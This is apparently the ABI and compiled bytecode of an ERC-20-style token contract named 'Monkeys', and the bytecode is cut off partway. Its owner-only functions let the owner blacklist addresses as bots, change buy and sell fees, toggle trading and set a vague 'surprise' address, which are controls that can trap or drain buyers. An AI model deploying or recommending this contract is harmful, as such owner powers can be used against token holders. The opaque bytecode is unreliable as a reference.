user","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"kb","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"kn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"bool","name":"b","type":"bool"}],"name":"markBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"user","type":"address[]"},{"internalType":"bool","name":"b","type":"bool"}],"name":"markBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"processBlockDuration","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"processGasAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"processRewardCondition","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"progressRewardBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"refreshFeeAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token_","type":"address"},{"internalType":"address","name":"_recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueLossToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token_","type":"address"},{"internalType":"address","name":"_recipient","type":"address"}],"name":"rescueLossTokenAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"resetTradeState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reuseLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_holdRewardCondition","type":"uint256"},{"internalType":"uint256","name":"_processRewardCondition","type":"uint256"}],"name":"setDividendCondition","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setDividendExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_holdToken","type":"address"},{"internalType":"address","name":"_usdt","type":"address"}],"name":"setDividendToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"b","type":"bool"}],"name":"setExclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_user","type":"address[]"},{"internalType":"bool","name":"b","type":"bool"}],"name":"setExcludes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_feeMarketingBuy","type":"uint256"},{"internalType":"uint256","name":"_feeLiquidityBuy","type":"uint256"},{"internalType":"uint256","name":"_feeDividendBuy","type":"uint256"},{"internalType":"uint256","name":"_feeBurnBuy","type":"uint256"}],"name":"setFeeBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_feeMarketingSell","type":"uint256"},{"internalType":"uint256","name":"_feeLiquiditySell","type":"uint256"},{"internalType":"uint256","name":"_feeDividendSell","type":"uint256"},{"internalType":"uint256","name":"_feeBurnSell","type":"uint256"}],"name":"setFeeSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"isLimited_","type":"bool"},{"internalType":"uint256","name":"LimitBuy_","type":"uint256"},{"internalType":"uint256","name":"LimitSell_","type":"uint256"},{"internalType":"uint256","name":"LimitHold_","type":"uint256"}],"name":"setLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"}],"name":"setProcessBlockDuration","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"}],"name":"setProcessGasAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_kn","type":"uint256"},{"internalType":"uint256","name":"_kb","type":"uint256"},{"internalType":"address","name":"_surpAddress","type":"address"}],"name":"setSurprise","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"}],"name":"setSwapTokensAt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"s","type":"uint256"}],"name":"setTradeState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"surpAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapSplit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeState","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b506040805180820182526007808252664d6f6e6b65797360c81b602080840182905284518086019095529184529083015290600362000051838262000eec565b50600462000060828262000eec565b5050506200007d620000776200020a60201b60201c565b6200020e565b600a80546001600160a01b03191633179055604080516315ab88c960e31b815290516b033b2e3c9fd0803ce8000000917312500e079611d255fac5404eb01835cea195e159918291737a250d5630b4cf539739df2c5dacb4c659f2488d91600091839163ad5c4648916004808201926020929091908290030181865afa1580156200010c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000132919062000fb8565b905060006200014d83836200026060201b62001a7d1760201c565b6064601f819055600060208181556021829055602282905560239290925560248190556025819055602655909150620001a1906b033b2e3c9fd0803ce8000000908190819062001c4362000427821b17901c565b6001620001ca82600066038d7ea4c680008060146207a1206200043b60201b62001c521760201c565b620001e3600080336200047160201b620011011760201c565b620001fd87878786856200050c60201b62001c881760201c565b5050505050505062001069565b3390565b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600680546001600160a01b0319166001600160a01b0384169081179091556040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa158015620002bd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e3919062000fb8565b6040516364e329cb60e11b81526001600160a01b038481166004830152306024830152919091169063c9c65396906044016020604051808303816000875af115801562000334573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035a919062000fb8565b600580546001600160a01b0319166001600160a01b03929092169182179055620003889083908590620006de565b60085460405163095ea7b360e01b81526001600160a01b03858116600483015260001960248301529091169063095ea7b3906044016020604051808303816000875af1158015620003dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000403919062000fea565b506200041330846000196200084e565b506005546001600160a01b03165b92915050565b62000436600184848462000976565b505050565b620004478686620009a0565b620004538484620009d8565b6200045e82620009ed565b6200046981620009fc565b505050505050565b600a546001600160a01b03163314806200049557506009546001600160a01b031633145b620004e25760405162461bcd60e51b8152602060048201526024808201526000805160206200551783398151915260448201526331ba37b960e11b60648201526084015b60405180910390fd5b603192909255603055602f80546001600160a01b0319166001600160a01b03909216919091179055565b612710601d8190556007601e556200053d906200052b6064886200100e565b6200053791906200100e565b62000a0b565b603280546001600160a01b0319166001600160a01b03861617905562000564838662000a7d565b6200057c33600162000b4060201b620014471760201c565b6200059430600162000b4060201b620014471760201c565b620005ac84600162000b4060201b620014471760201c565b620005c483600162000b4060201b620014471760201c565b80156200067057620005e330600162000b7560201b620016fe1760201c565b620005fc6000600162000b7560201b620016fe1760201c565b6200061460018062000b7560201b620016fe1760201c565b6200062e61dead600162000b7560201b620016fe1760201c565b620006448462000baa60201b620016e61760201c565b6200065a8362000baa60201b620016e61760201c565b620006703362000baa60201b620016e61760201c565b6200067a62000bc2565b81604051620006899062000dc1565b6001600160a01b039091168152602001604051809103906000f080158015620006b6573d6000803e3d6000fd5b50603380546001600160a01b0319166001600160a01b03929092169190911790555050505050565b600880546001600160a01b0319166001600160a01b038516179055604080516002808252606082018352600092602083019080368337019050509050308160008151811062000731576200073162001031565b60200260200101906001600160a01b031690816001600160a01b031681525050838160018151811062000768576200076862001031565b6001600160a01b03909216602092830291909101820152815162000793916007919084019062000dcf565b5060008281526001602081815260408084206fd9447efacd5f9ef847fa881df8e439d080865292528084206006420a90559155600854905163a9059cbb60e01b81526001600160a01b0361100096909601868116600483015260248201939093529194169063a9059cbb906044016020604051808303816000875af115801562000821573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000847919062000fea565b5050505050565b6001600160a01b038316620008b25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401620004d9565b6001600160a01b038216620009155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620004d9565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6200098062000c92565b600d805460ff191694151594909417909355600e91909155600f55601055565b620009aa62000c92565b601480546001600160a01b039384166001600160a01b03199182161790915560158054929093169116179055565b620009e262000c92565b601691909155601755565b620009f762000c92565b601855565b62000a0662000c92565b601955565b600a546001600160a01b031633148062000a2f57506009546001600160a01b031633145b62000a785760405162461bcd60e51b8152602060048201526024808201526000805160206200551783398151915260448201526331ba37b960e11b6064820152608401620004d9565b602e55565b6001600160a01b03821662000ad55760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620004d9565b806002600082825462000ae9919062001047565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b62000b4a62000c92565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b62000b7f62000c92565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b62000bb462000c92565b62000bbf8162000d01565b50565b602354601f5462000bd4919062001047565b60275560245460205462000be9919062001047565b60285560255460215462000bfe919062001047565b60295560265460225462000c13919062001047565b602a55602254602154602054601f5462000c2e919062001047565b62000c3a919062001047565b62000c46919062001047565b602b5560265460255460245460235462000c61919062001047565b62000c6d919062001047565b62000c79919062001047565b602c819055602b5462000c8d919062001047565b602d55565b600a546001600160a01b031633148062000cb657506009546001600160a01b031633145b62000cff5760405162461bcd60e51b8152602060048201526024808201526000805160206200551783398151915260448201526331ba37b960e11b6064820152608401620004d9565b565b6001600160a01b0381163b1562000d155750565b6001600160a01b03811660009081526013602052604090205460ff161562000d3a5750565b6001600160a01b03811660009081526012602052604090205460ff1662000bbf576001600160a01b03166000818152601260205260408120805460ff191660019081179091556011805491820181559091527f31ecc21a745e3968a04e9570e4425bc18fa8019c68028196b546d1669c200c680180546001600160a01b0319169091179055565b61014780620053d083390190565b82805482825590600052602060002090810192821562000e27579160200282015b8281111562000e2757825182546001600160a01b0319166001600160a01b0390911617825560209092019160019091019062000df0565b5062000e3592915062000e39565b5090565b5b8082111562000e35576000815560010162000e3a565b634e487b7160e01b600052604160045260246000fd5b600181811c9082168062000e7b57607f821691505b60208210810362000e9c57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200043657600081815260208120601f850160051c8101602086101562000ecb5750805b601f850160051c820191505b81811015620004695782815560010162000ed7565b81516001600160401b0381111562000f085762000f0862000e50565b62000f208162000f19845462000e66565b8462000ea2565b602080601f83116001811462000f58576000841562000f3f5750858301515b600019600386901b1c1916600185901b17855562000469565b600085815260208120601f198616915b8281101562000f895788860151825594840194600190910190840162000f68565b508582101562000fa85787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b60006020828403121562000fcb57600080fd5b81516001600160a01b038116811462000fe357600080fd5b9392505050565b60006020828403121562000ffd57600080fd5b8151801515811462000fe357600080fd5b6000826200102c57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b808201808211156200042157634e487b7160e01b600052601160045260246000fd5b61435780620010796000396000f3fe608060405260043610620005075760003560e01c80638f5299121162000293578063c1e9afa2116200015f578063ec4dbb3011620000d1578063f7a46ec51162000090578063f7a46ec51462000f09578063f887ea401462000f21578063faee3dd41462000f43578063fdef69491462000f5b578063fe98e00c1462000f73578063fefe84fd1462000f9857600080fd5b8063ec4dbb301462000e6a578063f0a7c6d81462000e8f578063f2fde38b1462000ea7578063f3f48fdc1462000ecc578063f4a3ff3d1462000ee457600080fd5b8063d36e8239116200011e578063d36e82391462000dc9578063d4d7b19a1462000de1578063d8d3d4471462000e15578063dd54ef6e1462000e2d578063dd62ed3e1462000e4557600080fd5b8063c1e9afa21462000d1e578063c54e44eb1462000d36578063c8a528941462000d58578063c9567bf91462000d7d578063ca0277761462000d9557600080fd5b8063a8aa1b311162000205578063b6d6303011620001c4578063b6d630301462000c6a578063b90922b81462000c8c578063b9f8d0d71462000ca4578063ba033c111462000cc9578063bcc100f11462000ce1578063bdf7a8e61462000cf957600080fd5b8063a8aa1b311462000bc1578063a9059cbb1462000be3578063ae9163291462000c08578063b572fe341462000c2d578063b66e49c71462000c5257600080fd5b80639c27242b11620002525780639c27242b1462000b255780639d6109f81462000b3d5780639ffecfb71462000b55578063a21f31101462000b7a578063a457c2d71462000b9c57600080fd5b80638f5299121462000a8657806395d89b411462000a9e578063961d3cd31462000ab6578063996d03091462000adb57806399f7d6731462000b0057600080fd5b80633812e91411620003d35780635b7b15c311620003455780636e4db58711620003045780636e4db58714620009c257806370a0823114620009e4578063715018a61462000a1e57806373724dd51462000a36578063864e18271462000a4e5780638da5cb5b1462000a6657600080fd5b80635b7b15c314620009215780635fe8e7cc146200094657806360f52141146200096d578063622565891462000985578063673687b7146200099d57600080fd5b80634c7552d611620003925780634c7552d614620008785780634e6b805e146200089a57806353674ba614620008bf57806359102a0714620008e45780635990985814620008fc57600080fd5b80633812e91414620007ce5780633950935114620007e657806339a74c8c146200080b5780633bbac5791462000823578063438d64e1146200086057600080fd5b80632a11ced011620004795780632c20aafa11620004385780632c20aafa146200071c5780632dab693f14620007345780632f8a21bf146200074c578063313ce567146200076657806331c71f4d146200078457806333f96f4614620007a957600080fd5b80632a11ced014620006945780632a29ad3b14620006b95780632a59551214620006d15780632b0e258e14620006e95780632b20fafe146200070157600080fd5b80631a2e207911620004c65780631a2e207914620005df5780632287fcb7146200061a57806323b872dd146200063f578063240d7d71146200066457806326987b60146200067c57600080fd5b806306fdde031462000514578063095ea7b31462000544578063155fc50d146200057a57806316f9a5ec14620005a157806318160ddd14620005c857600080fd5b366200050f57005b600080fd5b3480156200052157600080fd5b506200052c62000fbd565b6040516200053b919062003940565b60405180910390f35b3480156200055157600080fd5b5062000569620005633660046200398b565b62001057565b60405190151581526020016200053b565b3480156200058757600080fd5b506200059260185481565b6040519081526020016200053b565b348015620005ae57600080fd5b50620005c6620005c0366004620039ba565b62001073565b005b348015620005d557600080fd5b5060025462000592565b348015620005ec57600080fd5b5060335462000601906001600160a01b031681565b6040516001600160a01b0390911681526020016200053b565b3480156200062757600080fd5b50620005c662000639366004620039e3565b62001082565b3480156200064c57600080fd5b50620005696200065e36600462003a21565b620010ac565b3480156200067157600080fd5b506200059260205481565b3480156200068957600080fd5b5062000592601a5481565b348015620006a157600080fd5b5062000601620006b3366004620039ba565b620010d6565b348015620006c657600080fd5b506200059260255481565b348015620006de57600080fd5b5062000592601b5481565b348015620006f657600080fd5b506200059260165481565b3480156200070e57600080fd5b50600b546001111562000569565b3480156200072957600080fd5b5062000592601e5481565b3480156200074157600080fd5b506200059260305481565b3480156200075957600080fd5b50600b5460011062000569565b3480156200077357600080fd5b50604051601281526020016200053b565b3480156200079157600080fd5b50620005c6620007a336600462003a67565b62001101565b348015620007b657600080fd5b50620005c6620007c836600462003b92565b62001177565b348015620007db57600080fd5b5062000592602b5481565b348015620007f357600080fd5b5062000569620008053660046200398b565b620011ce565b3480156200081857600080fd5b506200059260245481565b3480156200083057600080fd5b50620005696200084236600462003bd3565b6001600160a01b03166000908152601c602052604090205460ff1690565b3480156200086d57600080fd5b506200059260315481565b3480156200088557600080fd5b5060085462000601906001600160a01b031681565b348015620008a757600080fd5b50620005c6620008b936600462003bf3565b620011f6565b348015620008cc57600080fd5b50620005c6620008de366004620039ba565b6200120b565b348015620008f157600080fd5b5062000592602d5481565b3480156200090957600080fd5b50620005c66200091b366004620039ba565b62001253565b3480156200092e57600080fd5b50620005c662000940366004620039ba565b62001262565b3480156200095357600080fd5b506200095e62001271565b6040516200053b919062003c16565b3480156200097a57600080fd5b506200059260285481565b3480156200099257600080fd5b50620005c6620012d4565b348015620009aa57600080fd5b50620005c6620009bc36600462003c65565b620012f7565b348015620009cf57600080fd5b5060325462000601906001600160a01b031681565b348015620009f157600080fd5b506200059262000a0336600462003bd3565b6001600160a01b031660009081526020819052604090205490565b34801562000a2b57600080fd5b50620005c662001350565b34801562000a4357600080fd5b50620005c662001366565b34801562000a5b57600080fd5b5062000592600b5481565b34801562000a7357600080fd5b506009546001600160a01b031662000601565b34801562000a9357600080fd5b506200059260175481565b34801562000aab57600080fd5b506200052c62001436565b34801562000ac357600080fd5b50620005c662000ad536600462003cbd565b62001447565b34801562000ae857600080fd5b50620005c662000afa36600462003cbd565b6200147c565b34801562000b0d57600080fd5b50620005c662000b1f36600462003cf0565b620014b1565b34801562000b3257600080fd5b5062000592602c5481565b34801562000b4a57600080fd5b50620005c662001568565b34801562000b6257600080fd5b506200059262000b74366004620039ba565b6200158c565b34801562000b8757600080fd5b5060145462000601906001600160a01b031681565b34801562000ba957600080fd5b506200056962000bbb3660046200398b565b6200164a565b34801562000bce57600080fd5b5060055462000601906001600160a01b031681565b34801562000bf057600080fd5b506200056962000c023660046200398b565b620016d6565b34801562000c1557600080fd5b50620005c662000c2736600462003bd3565b620016e6565b34801562000c3a57600080fd5b50620005c662000c4c36600462003cbd565b620016fe565b34801562000c5f57600080fd5b50620005c662001733565b34801562000c7757600080fd5b50602f5462000601906001600160a01b031681565b34801562000c9957600080fd5b506200059260195481565b34801562000cb157600080fd5b50620005c662000cc336600462003d23565b62001744565b34801562000cd657600080fd5b506200059260265481565b34801562000cee57600080fd5b5062000592601f5481565b34801562000d0657600080fd5b50620005c662000d1836600462003d56565b62001772565b34801562000d2b57600080fd5b506200059260215481565b34801562000d4357600080fd5b5060155462000601906001600160a01b031681565b34801562000d6557600080fd5b50620005c662000d7736600462003da1565b620017bd565b34801562000d8a57600080fd5b50620005c662001824565b34801562000da257600080fd5b506200056962000db436600462003bd3565b60136020526000908152604090205460ff1681565b34801562000dd657600080fd5b5062000592602e5481565b34801562000dee57600080fd5b506200056962000e0036600462003bd3565b60126020526000908152604090205460ff1681565b34801562000e2257600080fd5b506200059260275481565b34801562000e3a57600080fd5b506200059260225481565b34801562000e5257600080fd5b506200059262000e6436600462003cf0565b62001834565b34801562000e7757600080fd5b50620005c662000e8936600462003a21565b6200185f565b34801562000e9c57600080fd5b5062000592601d5481565b34801562000eb457600080fd5b50620005c662000ec636600462003bd3565b62001918565b34801562000ed957600080fd5b506200059260295481565b34801562000ef157600080fd5b50620005c662000f0336600462003d23565b62001994565b34801562000f1657600080fd5b50620005c6620019bc565b34801562000f2e57600080fd5b5060065462000601906001600160a01b031681565b34801562000f5057600080fd5b5062000592602a5481565b34801562000f6857600080fd5b506200059260235481565b34801562000f8057600080fd5b50620005c662000f9236600462003c65565b620019cd565b34801562000fa557600080fd5b50620005c662000fb736600462003cf0565b62001a45565b60606003805462000fce9062003e5c565b80601f016020809104026020016040519081016040528092919081815260200182805462000ffc9062003e5c565b80156200104d5780601f1062001021576101008083540402835291602001916200104d565b820191906000526020600020905b8154815290600101906020018083116200102f57829003601f168201915b5050505050905090565b6000336200106781858562001ddb565b60019150505b92915050565b6200107d62001f03565b601855565b6200108c62001f03565b600d805460ff191694151594909417909355600e91909155600f55601055565b600033620010bc85828562001f46565b620010c985858562001fc1565b60019150505b9392505050565b60118181548110620010e757600080fd5b6000918252602090912001546001600160a01b0316905081565b600a546001600160a01b03163314806200112557506009546001600160a01b031633145b6200114d5760405162461bcd60e51b8152600401620011449062003e98565b60405180910390fd5b603192909255603055602f80546001600160a01b0319166001600160a01b03909216919091179055565b6200118162001f03565b60005b8151811015620011ca57620011b5828281518110620011a757620011a762003edc565b6020026020010151620022ea565b80620011c18162003f08565b91505062001184565b5050565b60003362001067818585620011e4838362001834565b620011f0919062003f24565b62001ddb565b6200120062001f03565b601691909155601755565b600a546001600160a01b03163314806200122f57506009546001600160a01b031633145b6200124e5760405162461bcd60e51b8152600401620011449062003e98565b602e55565b6200125d62001f03565b601955565b6200126c620023aa565b600b55565b606060118054806020026020016040519081016040528092919081815260200182805480156200104d57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311620012ac575050505050905090565b620012de62001f03565b600d5460ff1615620012f557600d805460ff191690555b565b62001301620023af565b60005b82518110156200134b576200133683828151811062001327576200132762003edc565b6020026020010151836200147c565b80620013428162003f08565b91505062001304565b505050565b6200135a620023af565b620012f560006200240b565b602354601f5462001378919062003f24565b6027556024546020546200138d919062003f24565b602855602554602154620013a2919062003f24565b602955602654602254620013b7919062003f24565b602a55602254602154602054601f54620013d2919062003f24565b620013de919062003f24565b620013ea919062003f24565b602b5560265460255460245460235462001405919062003f24565b62001411919062003f24565b6200141d919062003f24565b602c819055602b5462001431919062003f24565b602d55565b60606004805462000fce9062003e5c565b6200145162001f03565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b62001486620023af565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b600a546001600160a01b0316331480620014d557506009546001600160a01b031633145b620014f45760405162461bcd60e51b8152600401620011449062003e98565b6040516370a0823160e01b8152306004820152620011ca90839083906001600160a01b038316906370a0823190602401602060405180830381865afa15801562001542573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000e89919062003f3a565b6200157262001f03565b600d5460ff16620012f557600d805460ff19166001179055565b60065460405163d06ca61f60e01b815260009182916001600160a01b039091169063d06ca61f90620015c690869060079060040162003f9f565b600060405180830381865afa158015620015e4573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526200160e919081019062003fba565b905060018151111562001641578060018151811062001631576200163162003edc565b6020026020010151915050919050565b50600092915050565b600033816200165a828662001834565b905083811015620016bc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840162001144565b620016cb828686840362001ddb565b506001949350505050565b6000336200106781858562001fc1565b620016f062001f03565b620016fb81620022ea565b50565b6200170862001f03565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b6200173d620023aa565b6000600b55565b6200174e620023af565b60238490556024839055602582905560268190556200176c62001366565b50505050565b60005b81518110156200134b57620017a83383838151811062001799576200179962003edc565b6020026020010151856200245d565b80620017b48162003f08565b91505062001775565b60005b81518110156200134b576200180f33838381518110620017e457620017e462003edc565b602002602001015185848151811062001801576200180162003edc565b60200260200101516200245d565b806200181b8162003f08565b915050620017c0565b6200182e620023aa565b43600b55565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600a546001600160a01b03163314806200188357506009546001600160a01b031633145b620018a25760405162461bcd60e51b8152600401620011449062003e98565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303816000875af1158015620018f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200176c919062004054565b62001922620023af565b6001600160a01b038116620019895760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840162001144565b620016fb816200240b565b6200199e620023af565b601f8490556020839055602182905560228190556200176c62001366565b620019c6620023aa565b6001600b55565b620019d762001f03565b60005b82518110156200134b5781600c6000858481518110620019fe57620019fe62003edc565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558062001a3c8162003f08565b915050620019da565b62001a4f62001f03565b601480546001600160a01b039384166001600160a01b03199182161790915560158054929093169116179055565b600680546001600160a01b0319166001600160a01b0384169081179091556040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa15801562001ada573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001b00919062004074565b6040516364e329cb60e11b81526001600160a01b038481166004830152306024830152919091169063c9c65396906044016020604051808303816000875af115801562001b51573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001b77919062004074565b600580546001600160a01b0319166001600160a01b0392909216918217905562001ba590839085906200253e565b60085460405163095ea7b360e01b81526001600160a01b03858116600483015260001960248301529091169063095ea7b3906044016020604051808303816000875af115801562001bfa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001c20919062004054565b5062001c30308460001962001ddb565b506005546001600160a01b031692915050565b6200134b600184848462001082565b62001c5e868662001a45565b62001c6a8484620011f6565b62001c758262001073565b62001c808162001253565b505050505050565b612710601d8190556007601e5562001cb39062001ca760648862004094565b620008de919062004094565b603280546001600160a01b0319166001600160a01b03861617905562001cda8386620026a7565b62001ce733600162001447565b62001cf430600162001447565b62001d0184600162001447565b62001d0e83600162001447565b801562001d6d5762001d22306001620016fe565b62001d3060006001620016fe565b62001d3d600180620016fe565b62001d4c61dead6001620016fe565b62001d5784620016e6565b62001d6283620016e6565b62001d6d33620016e6565b62001d7762001366565b8160405162001d86906200388b565b6001600160a01b039091168152602001604051809103906000f08015801562001db3573d6000803e3d6000fd5b50603380546001600160a01b0319166001600160a01b03929092169190911790555050505050565b6001600160a01b03831662001e3f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840162001144565b6001600160a01b03821662001ea25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162001144565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600a546001600160a01b031633148062001f2757506009546001600160a01b031633145b620012f55760405162461bcd60e51b8152600401620011449062003e98565b600062001f54848462001834565b905060001981146200176c578181101562001fb25760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640162001144565b6200176c848484840362001ddb565b6001600160a01b0383166000908152601c6020526040902054839060ff16156200201e5760405162461bcd60e51b815260206004820152600d60248201526c3137ba103337b93134b23232b760991b604482015260640162001144565b6001600160a01b0383166000908152601c6020526040902054839060ff16156200207b5760405162461bcd60e51b815260206004820152600d60248201526c3137ba103337b93134b23232b760991b604482015260640162001144565b6001600160a01b0385166000908152600c602052604090205460ff1680620020bb57506001600160a01b0384166000908152600c602052604090205460ff165b80620020c5575082155b15620020de57620020d88585856200245d565b620022e3565b600080620020fa876005546001600160a01b0390811691161490565b156200218f57600b54600110620021545760405162461bcd60e51b815260206004820152601c60248201527f706c656173652077616974696e6720666f72206c697175696469747900000000604482015260640162001144565b6200216086866200276a565b6200216d878787620027df565b156200217b575050620022e3565b62002187878662002887565b9150620022a7565b6005546001600160a01b038088169116036200228857600b5460011115620021fa5760405162461bcd60e51b815260206004820152601c60248201527f706c656173652077616974696e6720666f72206c697175696469747900000000604482015260640162001144565b846200221b886001600160a01b031660009081526020819052604090205490565b0362002231576200222e606586620040b7565b94505b6200223b620028b7565b156200224a5750600162002277565b620022558562002b6c565b